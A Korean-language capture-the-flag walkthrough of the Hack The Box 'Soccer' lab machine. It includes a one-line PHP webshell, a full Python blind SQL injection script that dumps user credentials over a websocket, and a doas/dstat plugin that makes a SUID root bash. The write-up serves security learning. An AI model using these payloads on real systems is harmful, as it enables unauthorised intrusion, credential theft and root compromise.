Machine Summary

Soccer 머신은 HTB에서 Easy 난이도로 책정되어 있는 LInux 머신이다. 공격자는 웹서버의 TinyFileManger에 기본 크리덴셜로 로그인 및 웹쉘 업로드 후 타겟 진입이 가능하며, 새로운 가상호스트 도메인을 발견한다. 해당 웹사이트에서 9091번 포트로 소켓을 열고 쿼리를 보내는 JS구문을 발견할 수 있으며, 쿼리를 보내는 과정에서 SQLi이 발생한다. Blind SQLi을 통해 다른 유저로의 권한상승이 진행되며, 마지막으로 doas를 통해 root권한을 획득하게 된다.


Recon

Nmap

PORT     STATE SERVICE                     
22/tcp   open  ssh                       
80/tcp   open  http              
9091/tcp open  xmltec-xmlmail

Initial Foothold

80 웹사이트 방문을 위해 /etc/hosts에 도메인을 추가한 뒤 접속한다

echo "$IP soccer.htb" | sudo tee -a /etc/hosts

웹사이트:

디렉토리 브루트포싱을 통해 tiny엔드 포인트를 발견할 수 있었다.

tiny 엔드포인트에 접근하니, Tiny File Manager가 동작중이였며, 소스코드에서 버전 2.4.3인 점까지 식별 가능했다.

구글링을 통해 확인한 기본 크리덴셜, admin:admin@123로 로그인이 가능했다.

버전 2.4.3에 알려진 취약점으로 Path Traversal을 통한 웹루트경로에 파일 쓰기가 가능하다고 하지만 (CVE-2021-45010), 동작하지 않았고, 그냥 tiny/uploads 경로에 파일을 쓴 후 웹쉘을 트리거할 수 있었다.

shell.php:

<?php system($_REQUEST['cmd']); ?>

파일 업로드 성공:

웹쉘 트리거:

cmd 파라미터를 POST로 보내 리버스쉘을 획득할 수 있었다:


Privilege Escalation to Player

파일 시스템을 조사하던 중, doas가 설치되어 있는것을 확인할 수 있었고, Player 유저는 root권한으로 dstat을 실행할 수 있었다.

bash-5.0$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
<SNIP>
 
bash-5.0$ find / -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
 
bash-5.0$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

GTFOBins에 따르면, 이는 권한 상승 벡터로 악용될 수 있는것으로 확인됐다. (물론, 특정 디렉토리에 쓰기 권한이 있어야 한다는 전제 조건이 있다). 즉, Player 계정까지만 권한 상승이 이뤄진다면 root쉘은 생각보다 쉽게 획득할 수 있을 것 같았다. 이를 염두에 둔 채로, 머신 풀이를 이어나갔다.

로컬 포트를 보니 3000번포트가 열려있었고 이는 웹 포트였다,

ss -tulpn | grep LISTEN

3000번이 웹포트임을 확인:

curl localhost:3000

3000번 웹포트 외에도, 3306 MySQL 포트가 열려있었는데, 80번 포트에서는 DBMS를 사용하는 흔적을 찾을 수 없었다. Tiny File Manager에 로그인 기능이 있었지만, tinyfilemanager.php에 크리덴셜을 하드코딩해놓은 뒤, 입력값을 검증하는 방식이였다. 즉, 3000번 포트가 로그인 기능이 있지 않을까 의심하며 풀이를 이어가던 중, nginx 컨픽에서 새로운 도메인 soc-player.soccer.htb를 발견할 수 있었다.

굳이 포트포워딩을 할 필요 없이, vhost 추가로 해당 웹 접근이 가능했다.

http://soc-player.soccer.htb

웹 접근 후 계정을 생성한다:

로그인 후 check엔드 포인트에 티켓을 입력하는 form이 존재했다.

웹 소스를 보면, ws://soc-player.soccer.htb:9091로 웹소켓을 열고 json 데이터를 보내는 것을 알 수 있었다

{"id":"USER_INPUT"}

그리고, USER_INPUT에 따라 응답이 다르다 존재하는 티켓의 경우 Ticket Exists를 반환, 존재하지 않는 티켓의 경우 Ticket Doesn't Exist를 반환.

그리고 여기서 SQLi 취약점이 발생했다. 원활한 진행을 위해 Kali에서 직접 웹소켓을 연결한 뒤 진행했다.

wscat -c ws://soc-player.soccer.htb:9091
> {"id":12345}
< Ticket Doesn't Esxist
> {"id":"0 or 1=1"}
< Ticket Exists

공격자 조건문의 참/거짓 여부에 따라 응답을 돌려주는 Boolean-Based, Blind SQL injection이 가능하다.

이진 탐색을 기반으로 한 파이썬 스크립트를 작성하여 DB 덤프를 진행했다. 중간중간 테스트를 진행해가며 스크립트를 작성하였으며 총 3~4시간은 걸렸던 것 같다.

import websocket
import json
 
# True - Ticket Exists
# False - Ticket Doesn't Exist
 
def char_binary_search(base_payload):
    left = 32
    right = 126
    while left <= right:
        mid = (left + right) // 2
        payload = f"({base_payload} > {mid})"
        if valid_check(payload) == True:
            left = mid + 1
        else:
            right = mid - 1
    return left
 
def len_binary_search(base_payload):
    left = 0
    right = 128
    while left <= right:
        mid = (left + right) // 2
        payload = f"({base_payload} > {mid})"
        if valid_check(payload) == True:
            left = mid + 1
        else:
            right = mid - 1
    return left
 
def valid_check(payload):
    query = {"id":f"1 or {payload}"}
    ws.send(json.dumps(query))
    response = ws.recv()
    print(f"debug query = {query} // receive = {response}", flush=True)
    if "Doesn't" in response:
        return False
    return True
 
 
# 0. DB Name Length && DB Name
# 1. Table Counts
# 2. Table Name Length (for each tables)
# 3. Table Name (for each tables)
# 4. Column Counts (for each tables)
# 5. Column Name Length (for each Columns)
# 6. Column Name (for each Columns)
# 7. Column Data length(for Every rows)
# 8. Column Data Value
 
def extract_db_length():
    base_payload = f"length(database())"
    result = len_binary_search(base_payload)
    print(f"DB Length is : {result}")
    return result
 
def extract_db_name(db_length):
    result = ''
    for i in range(1, db_length + 1):
        base_payload = f"ascii(substr((select database()), {i},1))"
        tmp = chr(char_binary_search(base_payload))
        result += tmp
    print(f"db name is: {result}")
    return result
 
def extract_table_counts(db_name):
    base_payload = f"(select count(*) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database())"
    result = len_binary_search(base_payload)
    print(f"Table Exists: {result}")
    return result
 
def extract_table_length(table_index):
    base_payload = f"length((select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() LIMIT {table_index},1))"
    result = len_binary_search(base_payload)
    print(f"Table Length: {result}")
    return result
 
def extract_table_name(table_index, table_length):
    result = ''
    for name_idx in range(1, table_length+1):
        base_payload = f"ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() LIMIT {table_index},1), {name_idx},1))"
        tmp = chr(char_binary_search(base_payload))
        result += tmp
    print(f"Table Name: {result}")
    return result
 
def extract_column_counts(table_name):
    base_payload = f"(select count(*) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=\"{table_name}\")"
    result = len_binary_search(base_payload)
    print(f"Column Exists: {result}")
    return result
 
def extract_column_name(column_index, column_length, table_name):
    result = ''
    for name_idx in range(1, column_length + 1):
        base_payload = f"ascii(substr((select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=\"{table_name}\" LIMIT {column_index},1), {name_idx},1))"
        tmp = chr(char_binary_search(base_payload))
        result += tmp
    print(f"Column Name: {result}")
    return result
 
def extract_column_length(col_idx, table_name):
    base_payload = f"(length((select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=\"{table_name}\" LIMIT {col_idx},1)))"
    result = len_binary_search(base_payload)
    print(f"Column Length: {result}")
    return result
 
def extract_item_length(column_name, table_name, row_idx):
    base_payload = f"length((select {column_name} from {table_name} LIMIT {row_idx}, 1))"
    result = len_binary_search(base_payload)
    print(f"Item Length: {result}")
    return result
 
def extract_item_value(column_name, table_name, row_idx, item_length):
    if item_length == 0:
        return ''
 
    result = ''
    for name_idx in range(1, item_length + 1):
        base_payload = f"ascii(substr((select {column_name} from {table_name} LIMIT {row_idx},1), {name_idx},1))"
        tmp = chr(char_binary_search(base_payload))
        result += tmp
    print(f"Item Value: {result}")
    return result
 
def dump_table(table_name, column_list):
    # count the number of rows first
    base_payload = f"(select count(*) from {table_name})"
    number_of_rows = len_binary_search(base_payload)
    for row in range(number_of_rows):
        table["accounts"][row] = dict()
        for col in column_list:
            item_length = extract_item_length(col, table_name, row)
            item_value = extract_item_value(col, table_name, row, item_length)
            table["accounts"][row][col] = item_value
 
 
# Define the WebSocket URL
ws_url = "ws://soc-player.soccer.htb:9091"
 
# Create the connection
ws = websocket.create_connection(ws_url)
 
db_length = extract_db_length() # reveals to 9
# db_length = 9
 
db_name = extract_db_name(db_length) # reveals to soccer_db
# db_name = "soccer_db"
 
table_counts = extract_table_counts(db_name) # reveals to 1
# table_counts = 1
 
 
# Extract Every Tables and Make Table_List
table_list = []
for table_idx in range(table_counts):
    tmp_length = extract_table_length(table_idx)
    tmp_table = extract_table_name(table_idx, tmp_length)
    table_list.append(tmp_table)
 
for i in range(len(table_list)):
    print(f"found table: {table_list[i]}")
# table_list = ["accounts"]
 
 
# Extract Every Columns and Make column_list
column_list = []
for name in table_list:
    col_counts = extract_column_counts(name)
    for col_idx in range(col_counts):
        col_length = extract_column_length(col_idx, name)
        tmp_column_name = extract_column_name(col_idx, col_length ,name)
        column_list.append(tmp_column_name)
for item in column_list:
    print(f"found column: {item}")
# column_list = ["id", "email", "username", "password"]
 
table = dict()
table["accounts"] = dict()
 
dump_table("accounts", column_list)
print(table)
ws.close()

다소 난잡한 변수명, 딕셔너리에 accounts 테이블 직접 삽입 등,, 개선할 부분은 눈에 꽤 보이지만.. 넘어가도록 하자

스크립트를 실행하여 테이블 덤프를 완료했다.

{'accounts': {0: {'id': '1324', 'email': 'player@player.htb', 'username': 'player', 'password': 'PlayerOftheMatch2022'}}}

player 유저의 평문 패스워드가 저장되어있었으며, 동일하게 bash쉘에서도 해당 유저로 로그인이 가능했다

bash-5.0$ su player
Password: PlayerOftheMatch2022
 
bash-5.0$ id
uid=1001(player) gid=1001(player) groups=1001(player)

Privilege Escalation to Root

위에서 확인했던, doas가 가능하단 점을 이용해, dstat에 쓰기가 가능한 폴더가 있는지 확인해 보았으며, 운이 좋게도 존재했다.

player@soccer:~$ find / -writable -type d -name "dstat" 2>/dev/null
/usr/local/share/dstat

/usr/local/share/dstat 디렉토리에 Bash에 SUID를 설정하는 파이썬 스크립트, dstat_pwn.py를 작성한 뒤 이를 트리거할 수 있다.

dstat_pwn.py:

import os
os.system("cp /bin/bash /tmp/bash")
os.system("chmod 4755 /tmp/bash")

트리거:

doas -u root /usr/bin/dstat --pwn

SQLi은 서비스의 로그인 기능에서만 발생하지 않고, DBMS에 쿼리를 하는 모든 시스템에서 발생할 수 있다는 것을 다시금 상기할 수 있는 머신이었다. GG


Reference